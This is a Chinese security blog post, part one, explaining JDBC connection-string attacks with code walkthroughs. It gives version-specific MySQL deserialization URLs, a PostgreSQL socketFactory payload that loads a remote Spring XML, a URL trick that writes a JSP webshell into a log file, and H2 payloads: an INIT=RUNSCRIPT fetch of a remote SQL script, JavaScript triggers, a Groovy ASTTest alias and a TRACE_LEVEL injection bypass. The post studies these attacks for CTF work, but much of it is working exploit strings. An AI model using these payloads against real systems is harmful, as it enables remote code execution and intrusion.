Skip to content

JavaSec 14-浅谈 JDBC Attack(上)

约 3173 字大约 11 分钟

Java

2025-05-30

前言

最近一直忙着没写新东西,决定还是每周写点关于 Java 的好,哪怕是其他有趣的东西,这次为了给队内赛出题想到了之前浅学辄止的 JDBC ,从 MYSQL 到其他类型数据库,包括一些新的不出网利用手法都想学着写一些。

预感到会很长,所以先写个上篇。

Mysql

漏洞简述

通过 JDBC 连接 MySQL 服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在MySQL客户端进行处理时会进行反序列化处理,若攻击者能控制 JDBC 连接设置项,则可以通过设置其配置指向恶意 MySQL 服务器触发 ObjectInputStream.readObject(),构造反序列化利用链从而造成 RCE,很好理解,本身数据就是序列化传输的,自然可能存在这个漏洞点。

可被利用的两条查询语句:

  • SHOW SESSION STATUS
  • SHOW COLLATION

JDBC连接参数

  • statementInterceptors : 连接参数是用于指定实现 com.mysql.jdbc.StatementInterceptor 接口的类的逗号分隔列表的参数。这些拦截器可用于通过在查询执行和结果返回之间插入自定义逻辑来影响查询执行的结果,这些拦截器将被添加到一个链中,第一个拦截器返回的结果将被传递到第二个拦截器,以此类推。在 8.0 中被 queryInterceptors 参数替代。
  • queryInterceptors : 一个逗号分割的Class列表(实现了 com.mysql.cj.interceptors.QueryInterceptor 接口的 Class),在Query"之间"进行执行来影响结果。(效果上来看是在 Query 执行前后各插入一次操作)
  • autoDeserialize : 自动检测与反序列化存在BLOB字段中的对象。
  • detectCustomCollations : 驱动程序是否应该检测服务器上安装的自定义字符集/排序规则,如果此选项设置为“true”,驱动程序会在每次建立连接时从服务器获取实际的字符集/排序规则。这可能会显着减慢连接初始化速度。

环境搭建

这边用了 8.0.13 版本和 CB 依赖

<dependencies>
    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.13</version>
    </dependency>
    <dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.4</version>
    </dependency>
</dependencies>

Client 端

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class MySQL2JDBC {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.jdbc.Driver");

        String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc.exe";
        Connection connection = DriverManager.getConnection(url);
        connection.close();
    }
}

fakeserver 这里选择了 4ra1n,神,也可以用 java chains 里面的那个模块,但也是根据这个改的,加了一些方便爆破版本及利用链的功能,感觉不错

image-20250528111510520

image-20250528111809556

detectCustomCollations链

  • 5.1.19-5.1.28:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=deser_CB_calc.exe
  • 5.1.29-5.1.48:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe
  • 5.1.49:不可用
  • 6.0.2-6.0.6:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe
  • 8.x.x :不可用

ServerStatusDiffInterceptor链

  • 5.1.0-5.1.10:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc.exe 连接后需执行查询
  • 5.1.11-5.x.xx:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc.exe
  • 6.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc.exe (包名中添加 cj)
  • 8.0.20以下:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc.exe

链路分析

这东西第一次调的我头都大了,少放点图,主要去理解这个过程吧。

连接建立与URL解析 (DriverManager.getConnection -> NonRegisteringDriver.connect)

  • NonRegisteringDriver.connect 开始处理连接请求。

  • acceptsUrl(): 简单检查 URL 格式和 schema (jdbc:mysql:).

  • getConnectionUrlInstance():

    • 跳过缓存检查。

    • ConnectionUrlParser.parseConnectionString(): 使用正则表达式 CONNECTION_STRING_PTRN 解析JDBC URL字符串,将其分解为scheme, authority, path, query, fragment等部分。

    • 因为 schema 是 jdbc:mysql,所以实例化了 com.mysql.cj.conf.url.SingleConnectionUrl 来代表这个连接配置。

初始化连接 (ConnectionImpl.getInstance)

  • 这是创建实际JDBC Connection对象的地方。

  • 调用链进入 createNewIO(false)-> connectOneTryOnly(false):

    image-20250528145257584

    • connectOneTryOnly 内部,会进行实际的socket连接、握手、认证。

    • 成功连接后,调用 initializePropsFromServer():

      image-20250528145443964

      • 这个方法非常关键,它会从服务器加载属性、设置会话变量、配置字符集等。

      • 内部会加载并初始化在URL中指定的查询拦截器 ServerStatusDiffInterceptor

      • 调用 handleAutoCommitDefaults():

        • 这个方法确保连接的 autocommit 状态符合JDBC规范(默认为true)。

        • 调用 setAutoCommit(true):

          • setAutoCommit 内部为了将 autocommit 状态同步到服务器,会执行 this.session.execSQL(null, "SET autocommit=1", ...)

            image-20250528150354374

第一次SQL执行 (SET autocommit=1) 与拦截器首次介入

  • session.execSQL 会准备发送 SET autocommit=1 命令。

  • 调用 sendQueryString(...) 来构建包含 SET autocommit=1 的网络数据包。

  • sendQueryString 内部,真正发送数据包之前,会调用 sendQueryPacket(...)

    image-20250528151103444

  • sendQueryPacket 内部,在实际发送网络包给服务器之前,会调用 invokeQueryInterceptorsPre(...):

    image-20250528151202348

    • 此时的 this.queryInterceptors 列表包含了 ServerStatusDiffInterceptor(被 NoSubInterceptorWrapper 包装)。

    • invokeQueryInterceptorsPre 循环调用列表中每个拦截器的 preProcess(Supplier<String> sql, Query interceptedQuery) 方法,跟两步进去就到ServerStatusDiffInterceptor了。

      image-20250528152051826

ServerStatusDiffInterceptor.preProcess 的执行

  • 轮到 ServerStatusDiffInterceptorpreProcess 方法执行。

  • 该拦截器的目的是记录和比较连接前后服务器状态变量的差异。为了获取初始状态,它需要执行 SHOW SESSION STATUS

  • preProcess 内部调用了 populateMapWithSessionStatusValues()

  • populateMapWithSessionStatusValues() 内部又会调用 executeQuery("SHOW SESSION STATUS", ...) 来执行这个查询。

    image-20250528152332257

拦截器内部执行SQL (SHOW SESSION STATUS)

  • executeQuery("SHOW SESSION STATUS")

    本质上也是一次 SQL 执行,所以它会再次经历类似的流程:

    • 又会走到 ((NativeSession) locallyScopedConn.getSession()).execSQL(...) (这里的 locallyScopedConn 是拦截器内部为了执行 SHOW SESSION STATUS 可能创建或使用的一个临时/内部连接代理)。

    • 再次调用 sendQueryString -> sendQueryPacket -> invokeQueryInterceptorsPre

    • 关键的“套娃”处理/深度检查:因为本包已经是被 interceptor 拦截下来,在 interceptor preProcess 发的包,所以锁验证不过,不会再次进入preProcess”。这是因为 invokeQueryInterceptorsPre 会有逻辑(如 this.statementExecutionDepthinterceptor.executeTopLevelOnly())来防止拦截器无限递归调用自己。所以,这次为 SHOW SESSION STATUS 调用的 invokeQueryInterceptorsPre,对于 ServerStatusDiffInterceptor 自身,其 preProcess 可能不会被再次完整执行,或者其内部判断逻辑使其跳过了再次执行 SHOW SESSION STATUS 的部分。

      image-20250528152707580

发送 SHOW SESSION STATUS 数据包

  • 最终,执行 SHOW SESSION STATUS 的流程会走到 sendCommand()

  • sendCommand 负责将 SHOW SESSION STATUS 命令的字节码发送到服务器。

    image-20250528153620367

服务器响应与客户端处理 SHOW SESSION STATUS 结果

  • 服务器接收到 SHOW SESSION STATUS 并执行,然后将结果集返回给客户端。

  • 客户端在 sendCommand 之后,会调用 readAllResults(...) 来读取服务器返回的数据。

    image-20250528153952280

  • 在处理结果的过程中(如 scanForAndThrowDataTruncation -> convertShowWarningsToSQLWarnings),客户端可能会自动发送 SHOW WARNINGS 查询以获取关于上一个查询的任何警告信息。这需要客户端能正确处理 SHOW WARNINGS 的响应。

反序列化触发点 (处理 SHOW SESSION STATUS 的结果)

  • ServerStatusDiffInterceptor 中的 populateMapWithSessionStatusValues 收到 SHOW SESSION STATUS 的结果集后,它会调用 ResultSetUtil.resultSetToMap(ResultSet rs, ...) 来将结果集转换为Map。

  • resultSetToMap 内部会循环遍历结果集 rs 的每一行。

  • 对每一行,它会调用 rs.getObject(columnIndex) 来获取每一列的值。

  • 跟进到 getObject(2)

    MySQL中的二进制大对象类型 :

    • MySQL JDBC驱动在处理 getObject() 时,如果连接参数 autoDeserializetrue,并且它识别出这是一个应该被反序列化的对象(通常通过检查BLOB的前几个字节是否是Java序列化魔数 AC ED 00 05),它就会尝试将内容自动反序列化为一个Java对象。

    • 漏洞触发:如果一个恶意的MySQL服务器在响应 SHOW SESSION STATUS 时,将某个状态值(如 Variable_value 列)的内容构造成一个恶意的 Java 序列化对象,并将其类型标记为BLOB发送给客户端,那么客户端在调用 rs.getObject() 时就会触发反序列化,从而执行任意代码。

      image-20250528153227259

总结下来就是:

  • 客户端与MySQL服务器正常建立连接并进行初始设置。

  • 当客户端尝试执行一个命令(例如 SET autocommit=1)时,预先配置的 ServerStatusDiffInterceptor 会拦截这个操作。

  • 为了对比状态,拦截器主动向服务器发送 SHOW SESSION STATUS 命令。

  • 恶意服务器在回复 SHOW SESSION STATUS 时,返回包含恶意Java序列化对象的特制数据包。

  • Client 发送 SHOW WARNINGS,服务器返回固定消息以顺利通过 warning 检查

  • 如果上面两个过程没问题,客户端用 getObject 处理 SHOW SESSION STATUS 返回的数据,触发反序列化漏洞

Postgresql

简述

通过 Spel 注入打

环境搭建

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>5.3.28</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-expression</artifactId>
    <version>5.3.28</version>
</dependency>
<dependency>
    <groupId>commons-logging</groupId>
    <artifactId>commons-logging</artifactId>
    <version>1.2</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-beans</artifactId>
    <version>5.3.28</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>5.3.28</version>
</dependency>
<dependency>
    <groupId>org.postgresql</groupId>
    <artifactId>postgresql</artifactId>
    <version>42.3.0</version>
</dependency>

Client:

import org.postgresql.Driver;

import java.sql.Connection;
import java.sql.DriverManager;
public class Postgresql2JDBC {public static void main(String[] args) throws Exception {
    String URL = "jdbc:postgresql://127.0.0.1:11111/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:3126/tlCeCQYq.xml";
    DriverManager.registerDriver(new Driver());
    Connection connection = DriverManager.getConnection(URL);
    connection.close();
    }
}

链路分析

如果这里调试还会走到之前 mysql 那边的逻辑,就先在 pom 把依赖删了,先经过 parseURL(),拿到这一堆切片好的参数

image-20250529100110936

值得注意的是两个参数

socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=http://127.0.0.1:3126/tlCeCQYq.xml

这个 socketFactory 参数会被 PostgreSQL JDBC 驱动识别,并在内部调用 ObjectFactory.instantiate() 来加载并实例化传的类名

然后跟进到 makeConnection -> PgConnection -> ConnectionFactory.openConnection -> ConnectionFactoryImpl.openConnectionImpl -> SocketFactoryFactory.getSocketFactory -> ObjectFactory.instantiate

image-20250529153419167

不出网写文件

其实就是利用上面看到的一个日志处理部分,还有这个下面的

LOGGER.log(Level.FINE, "Connecting with URL: {0}", url);

image-20250530095634598

image-20250530095703472

import org.postgresql.Driver;
import java.sql.Connection;
import java.sql.DriverManager;

public class Postgresql2JDBC2 {
    public static void main(String[] args) throws Exception {
        String URL = "jdbc:postgresql://127.0.0.1:11807/test/?loggerLevel=DEBUG&loggerFile=shell.jsp&<%Runtime.getRuntime().exec(\"calc\");};%> =\n";
        DriverManager.registerDriver(new Driver());
        Connection connection = DriverManager.getConnection(URL);
        connection.close();
    }
}

H2database

H2database 平时接触的不多,比赛中会出一些注入,前段时间遇到一个弱口令进去看了看

环境搭建

H2的Web console不仅可以连接H2数据库,也可以连接其他支持JDBC API的数据库,jdk 需要换到11

<dependency>
     <groupId>com.h2database</groupId>
     <artifactId>h2</artifactId>
     <version>2.3.232</version>
</dependency>

poc.sql:

DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
    java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('cmd /c calc');

该payload适用于任何有H2依赖的JDBC URL

import java.sql.Connection;
import java.sql.DriverManager;

public class H2database2JDBC {
    public static void main(String[] args) throws Exception {
        String ClassName = "org.h2.Driver";
        String JDBC_Url = "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'";
        String username = "root";
        String password = "root";
        Class.forName(ClassName);
        Connection connection = DriverManager.getConnection(JDBC_Url, username, password);
    }
}

链路分析

这个起手有点不一样,先在这打好断点,不然不好过来

image-20250530104647355

然后 SessionRemote.connectEmbeddedOrServer -> Engine.createSession -> openSession

init 为 RUNSCRIPT FROM 'http://127.0.0.1:8000/evil.sql'

image-20250530110837658

command = parser.prepareCommand(sql); H2的SQL解析器会将这条 RUNSCRIPT 语句解析并准备成一个 CommandContainer,其内部包含一个具体的 RunScriptCommand 实例

image-20250530114202022

回到 Engine.openSession,跟进 executeUpdate(null) -> executeUpdate(generatedKeysRequest, true) -> update -> ResultWithGeneratedKeys.of(prepared.update()) ->

image-20250530114410082

最后这里遍历调用 SQL 语句

image-20250530112942058

攻击手法总结(直接照搬了)

由于 JDBC 连接时INIT只能执行一条 SQL 语句,所以攻击方式比较有限

  • 能出网,可以打 RUNSCRIPT
    • 有回显:
CREATE ALIAS SHELLEXEC AS $$String shellexec(String cmd) throws java.io.IOException{
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); 
    return s.hasNext() ? s.next() : ""; 
}$$;

CALL SHELLEXEC('whoami');
  • 不出网

H2 和 MySQL 一样有 INFORMATION_SCHEMA。H2 提取 URL 中的配置时是通过分割分号;来提取的,因此 JS 代码中不能有分号,否则会报错(可以加上反斜杠代表转义),//javascript是 H2 的语法

在 H2 内存数据库中创建一个触发器 TRIG_JS,该触发器在向 INFORMATION_SCHEMA.TABLES 表插入数据后执行。触发器的主体是一个JavaScript 脚本

jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("calc")'

另外,目标机器有groovy依赖,能打AST注解

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-sql</artifactId>
    <version>3.0.8</version>
</dependency>
jdbc:h2:mem:test;init=CREATE ALIAS shell2 AS
$$@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("cmd.exe /c calc.exe")
})
def x$$
  • 绕过

INIT被过滤的时候,TRACE_LEVEL_SYSTEM_OUT,TRACE_LEVEL_FILE,TRACE_MAX_FILE_SIZE能触发堆叠注入,分号需要转义

jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=1\;CREATE TRIGGER TRIG_JS BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
Java.type("java.lang.Runtime").getRuntime().exec("calc")$$--

呃随便写写,先写这么多,假期再写点,想玩玩 MCP ,想复习

参考文章

MYSQL JDBC反序列化解析

JDBC Attack漫谈

PostgreSQL JDBC Driver RCE&任意文件写入漏洞【CVE-2022-21724】